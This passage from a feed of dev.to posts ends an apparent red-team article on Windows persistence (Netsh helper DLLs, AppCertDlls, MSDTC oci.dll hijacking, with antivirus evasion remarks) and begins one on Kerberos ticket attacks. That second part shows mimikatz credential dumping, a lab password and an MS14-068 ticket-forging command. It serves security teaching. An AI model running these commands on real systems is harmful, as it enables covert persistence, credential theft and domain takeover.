&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp37l5a4889qg3bh7h6ec.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp37l5a4889qg3bh7h6ec.png" alt=" " width="800" height="676"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The C2 session is established with SYSTEM privileges (MSF is used here for demonstration; a CS DLL would need to be rewritten):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnt7pjdge94knb5fk41ma.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnt7pjdge94knb5fk41ma.png" alt=" " width="800" height="234"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  0x08 Netsh
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required Privileges:&lt;/strong&gt; Administrator privileges without UAC reduction.&lt;br&gt;&lt;br&gt;
Netsh is a native Windows command‑line tool for network configuration. It can import helper DLLs to extend functionality, and once imported, the DLL path is stored in the registry for permanent effect:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7z75qxexmvs0x3s358rk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7z75qxexmvs0x3s358rk.png" alt=" " width="799" height="350"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thus, persistence can be achieved by importing a helper DLL. The command format is:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;netsh add helper [Absolute evil DLL path]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;However, because netsh does not start automatically, an auto‑start entry must be added as well:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After reboot, the shell is still obtained:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7qx5cilt2g8doe01loxn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7qx5cilt2g8doe01loxn.png" alt=" " width="798" height="228"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The process tree and loaded malicious module are shown below; stealth is relatively high:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9bq01393fi3cyb71suo3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9bq01393fi3cyb71suo3.png" alt=" " width="800" height="267"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Because the testing still relied on an MSF‑generated DLL, launching netsh pops up a console window and blocks; terminating the netsh process drops the connection. Therefore, for practical red‑team use, a custom DLL must be developed.&lt;/p&gt;
&lt;h2&gt;
  
  
  0x09 AppCertDlls
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required Privileges:&lt;/strong&gt; Administrator privileges without UAC reduction.&lt;br&gt;&lt;br&gt;
It is well known that the &lt;code&gt;AppInit_DLLs&lt;/code&gt; registry value is read when &lt;code&gt;user32.dll&lt;/code&gt; is loaded into memory; if a value exists, &lt;code&gt;LoadLibrary()&lt;/code&gt; is called to load the user‑mode DLL. In earlier years, this method was quite popular for DLL‑injection persistence, but it has become ineffective on many modern systems. The reason is a flag check in &lt;code&gt;kernel32.dll&lt;/code&gt; during startup, as illustrated:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdtt54ow4yl28fpao9b9h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdtt54ow4yl28fpao9b9h.png" alt=" " width="660" height="196"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kernel32.dll&lt;/code&gt; queries class &lt;code&gt;0x67&lt;/code&gt; via &lt;code&gt;NtQuerySystemInformation&lt;/code&gt; and then checks whether the &lt;code&gt;ReturnLength&lt;/code&gt; is equal to 2 (bitwise AND operation). If equal, it skips loading the DLL and returns.&lt;br&gt;&lt;br&gt;
Information regarding &lt;code&gt;0x67&lt;/code&gt; can be found online:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1x904lep5rtgkb9mv1sp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1x904lep5rtgkb9mv1sp.png" alt=" " width="800" height="301"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This flag is toggled by &lt;code&gt;bcdedit.exe /set testsigning on/off&lt;/code&gt;. However, most recent machines have Secure Boot enabled in the BIOS by default; unless this option is disabled, the flag cannot be modified. Consequently, this method currently faces considerable limitations.&lt;br&gt;&lt;br&gt;
Nevertheless, there exists another, less commonly used registry key that also permits automatic DLL loading: &lt;code&gt;AppCertDlls&lt;/code&gt;. When a process invokes APIs such as &lt;code&gt;CreateProcess&lt;/code&gt;, &lt;code&gt;CreateProcessAsUser&lt;/code&gt;, &lt;code&gt;CreateProcessWithLoginW&lt;/code&gt;, &lt;code&gt;CreateProcessWithTokenW&lt;/code&gt;, or &lt;code&gt;WinExec&lt;/code&gt;, the DLLs listed in this key are automatically loaded. Fortunately, many programmes call these APIs.&lt;br&gt;&lt;br&gt;
A test programme calling one of these APIs:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw8iozg4eqdaobcovqixr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw8iozg4eqdaobcovqixr.png" alt=" " width="779" height="680"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Execution:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff52gm9bo8w2rwhiqfy69.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff52gm9bo8w2rwhiqfy69.png" alt=" " width="519" height="241"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;MSF session established:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvu6t3wtj9ba8eiyvd27z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvu6t3wtj9ba8eiyvd27z.png" alt=" " width="800" height="115"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Inspecting the process tree:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9usy1xtesmz3qhoo4oa5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9usy1xtesmz3qhoo4oa5.png" alt=" " width="799" height="267"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It merely spawns a &lt;code&gt;rundll32.exe&lt;/code&gt; under a legitimate process, loading the malicious DLL. Stealth is high.&lt;br&gt;&lt;br&gt;
However, the MSF DLL remains usable only for testing. Because many system programmes call these APIs (e.g. &lt;code&gt;explorer.exe&lt;/code&gt;), and the MSF DLL blocks the process, it can prevent the desktop from loading at startup. Therefore, a custom DLL must be developed for operational use.&lt;/p&gt;
&lt;h2&gt;
  
  
  0x0A MSDTC
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required Privileges:&lt;/strong&gt; Administrator privileges without UAC reduction.&lt;br&gt;&lt;br&gt;
&lt;code&gt;msdtc.exe&lt;/code&gt; is the Microsoft Distributed Transaction Coordinator. This process is invoked by Microsoft Personal Web Server and Microsoft SQL Server, and it manages multiple servers.&lt;br&gt;&lt;br&gt;
Upon startup, the service attempts to load three DLL files from &lt;code&gt;System32&lt;/code&gt;: &lt;code&gt;oci.dll&lt;/code&gt;, &lt;code&gt;SQLLib80.dll&lt;/code&gt;, and &lt;code&gt;xa80.dll&lt;/code&gt;. The service entry is shown below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkjim1hkwn9un4rwd6fl7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkjim1hkwn9un4rwd6fl7.png" alt=" " width="800" height="267"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The corresponding registry entries:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffzmfiz64ybhsyk37b9sw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffzmfiz64ybhsyk37b9sw.png" alt=" " width="800" height="348"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In a default Windows installation, the file &lt;code&gt;oci.dll&lt;/code&gt; is missing from the &lt;code&gt;System32&lt;/code&gt; folder. Provided write access exists, a malicious DLL with that name can be placed there, and malicious code will execute when the service starts.&lt;br&gt;&lt;br&gt;
By default, the startup type is set to "Manual". Configure automatic startup with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;sc&lt;/span&gt; &lt;span class="kd"&gt;qc&lt;/span&gt; &lt;span class="kd"&gt;msdtc&lt;/span&gt;
&lt;span class="nb"&gt;sc&lt;/span&gt; &lt;span class="kd"&gt;config&lt;/span&gt; &lt;span class="kd"&gt;msdtc&lt;/span&gt; &lt;span class="nb"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;auto&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malicious DLL will be loaded into the &lt;code&gt;msdtc.exe&lt;/code&gt; process, yielding high stealth:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F37csufc6hx3qth3fqzv2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F37csufc6hx3qth3fqzv2.png" alt=" " width="800" height="588"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  0x0B Conclusion
&lt;/h2&gt;

&lt;p&gt;Initially, approximately twenty persistence techniques were catalogued, but in practice many are not universally applicable—some are limited to specific scenarios, particular configurations, or certain applications. Others are "passive" persistence methods, such as shortcut replacement; aside from exploiting a shortcut vulnerability, they will not trigger unless the target clicks them. Therefore, those with significant limitations were removed to streamline the article (and reduce workload), resulting in the ten techniques presented above, which are relatively generic.&lt;br&gt;&lt;br&gt;
During the collation process, a frustration at the Ring3 level became evident: user‑mode persistence that aims for high stealth and evasion of behavioural detection by anti‑virus must rely on native Windows functionality (living off the land). If these features or modules are disabled, uninstalled, or fail to start normally in special environments, the approach becomes problematic. Thus, preparing multiple methods is always beneficial.&lt;br&gt;&lt;br&gt;
Due to time constraints, some DLLs required for demonstration were directly generated by MSF, but their evasion capabilities are unsatisfactory. When developing the CS plugin later, these DLLs must be completed and subjected to further anti‑virus treatment.&lt;/p&gt;

</description>
      <category>windows</category>
      <category>persistence</category>
      <category>cybersecurity</category>
      <category>techniques</category>
    </item>
    <item>
      <title>Ticket Passing Attacks</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Wed, 10 Jun 2026 03:06:18 +0000</pubDate>
      <link>https://dev.to/excalibra/ticket-passing-attacks-f77</link>
      <guid>https://dev.to/excalibra/ticket-passing-attacks-f77</guid>
      <description>&lt;p&gt;This section introduces two common attack methods within a domain: the Golden Ticket and the Silver Ticket.&lt;/p&gt;

&lt;p&gt;Furthermore, readers familiar with the Kerberos authentication process will find the principles of these two attacks considerably easier to comprehend. For those who have not previously studied Kerberos authentication, it is recommended to familiarize on the Kerberos Authentication Process.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Related Tools&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068" rel="noopener noreferrer"&gt;Ms14‑068&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe" rel="noopener noreferrer"&gt;PSexec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/gentilkiwi/mimikatz/" rel="noopener noreferrer"&gt;mimikatz&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Golden Ticket
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Principle
&lt;/h3&gt;

&lt;p&gt;During Kerberos authentication, after the Client authenticates with the Authentication Service (AS), the AS issues a Logon Session Key and a Ticket‑Granting Ticket (TGT) to the Client. The Logon Session Key is not retained within the Key Distribution Centre (KDC), whereas the NTLM hash of the &lt;code&gt;krbtgt&lt;/code&gt; account is fixed. Consequently, if an attacker obtains the NTLM hash of &lt;code&gt;krbtgt&lt;/code&gt;, it becomes possible to forge both a TGT and the corresponding Logon Session Key, thereby enabling the Client to proceed to the interaction with the Ticket‑Granting Service (TGS). Possession of a Golden Ticket permits the bypass of AS validation entirely; neither account name nor password is verified, and the attacker remains unaffected even if the domain administrator password is subsequently changed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Characteristics
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Does not require any interaction with the AS.&lt;/li&gt;
&lt;li&gt;Requires the NTLM hash of the &lt;code&gt;krbtgt&lt;/code&gt; user.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Detailed Procedure
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. Forging Credentials to Escalate Privileges of a Domain User
&lt;/h4&gt;

&lt;p&gt;Assume that an attacker has logged on to a host within the domain as a local &lt;code&gt;Administrator&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi4t6flxk0seonteslcxf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi4t6flxk0seonteslcxf.png" alt=" " width="235" height="35"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The command &lt;code&gt;net config workstation&lt;/code&gt; reveals, among other details, that the domain is named &lt;code&gt;cyberpeace&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fphks358rtygyzxvchjkc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fphks358rtygyzxvchjkc.png" alt=" " width="599" height="232"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The command &lt;code&gt;nltest /dsgetdc:domain&lt;/code&gt; identifies the Domain Controller hostname as &lt;code&gt;scene&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvcq9w2rgf622sm7f6m09.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvcq9w2rgf622sm7f6m09.png" alt=" " width="423" height="145"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Mimikatz is uploaded and executed with administrator privileges:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;mimikatz&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt; &lt;span class="s2"&gt;"privilege::debug"&lt;/span&gt; &lt;span class="s2"&gt;"sekurlsa::logonpasswords"&lt;/span&gt; &lt;span class="s2"&gt;"exit"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="kd"&gt;log&lt;/span&gt;.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examination of the generated &lt;code&gt;log.txt&lt;/code&gt; reveals a domain user account, &lt;code&gt;devuser&lt;/code&gt;, with the password &lt;code&gt;HOTdev123456&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fomah489t994ykpt7t680.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fomah489t994ykpt7t680.png" alt=" " width="246" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Logging in as &lt;code&gt;devuser&lt;/code&gt; and running &lt;code&gt;whoami&lt;/code&gt; confirms the current user context.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fog0797dfke41zkikgl48.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fog0797dfke41zkikgl48.png" alt=" " width="150" height="21"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The presence of the MS14‑068 vulnerability (CVE‑2014‑6324, addressed by patch 3011780) is checked with the command &lt;code&gt;systeminfo | find "3011780"&lt;/code&gt;. An empty result indicates the patch is absent and the system is vulnerable. It should be noted that privilege escalation using this vulnerability is time‑limited.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdgcdepslpnsdush2r4n4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdgcdepslpnsdush2r4n4.png" alt=" " width="461" height="64"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An attempt to access the administrative share on the domain controller with &lt;code&gt;dir \\scene.cyberpeace.com\c$&lt;/code&gt; fails owing to insufficient permissions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp4ipntgpaad5a3zbvz4u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp4ipntgpaad5a3zbvz4u.png" alt=" " width="535" height="46"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The MS14‑068 exploit tool and mimikatz are uploaded. The user’s SID is obtained using either &lt;code&gt;whoami /user&lt;/code&gt; or &lt;code&gt;whoami /all&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmtco6b9r8ea5q33nguft.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmtco6b9r8ea5q33nguft.png" alt=" " width="799" height="249"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The MS14‑068 tool is used to forge a ticket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;C&lt;/span&gt;:\MS14&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;068&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="kd"&gt;MS14&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;068&lt;/span&gt;.exe &lt;span class="na"&gt;-u &lt;/span&gt;&lt;span class="kd"&gt;devuser&lt;/span&gt;@cyberpeace.com &lt;span class="na"&gt;-p &lt;/span&gt;&lt;span class="kd"&gt;HOTdev123456&lt;/span&gt; &lt;span class="na"&gt;-s &lt;/span&gt;&lt;span class="kd"&gt;S&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;97341123&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;1865264218&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;933115267&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;1108&lt;/span&gt; &lt;span class="na"&gt;-d &lt;/span&gt;&lt;span class="kd"&gt;scene&lt;/span&gt;.cyberpeace.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A TGT ticket file is generated in the current directory. The general usage is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ms14-068.exe &lt;span class="nt"&gt;-u&lt;/span&gt; &amp;lt;domain_user&amp;gt;@&amp;lt;domain&amp;gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &amp;lt;password&amp;gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &amp;lt;user_SID&amp;gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &amp;lt;domain_controller&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Within mimikatz, the existing Kerberos ticket cache is purged and the forged ticket is imported:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# kerberos::purge&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# kerberos::ptc &amp;lt;path_to_ticket_file&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkloxfa1l96j1e4y3bct.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkloxfa1l96j1e4y3bct.png" alt=" " width="644" height="260"&gt;&lt;/a&gt;&lt;/p&gt;

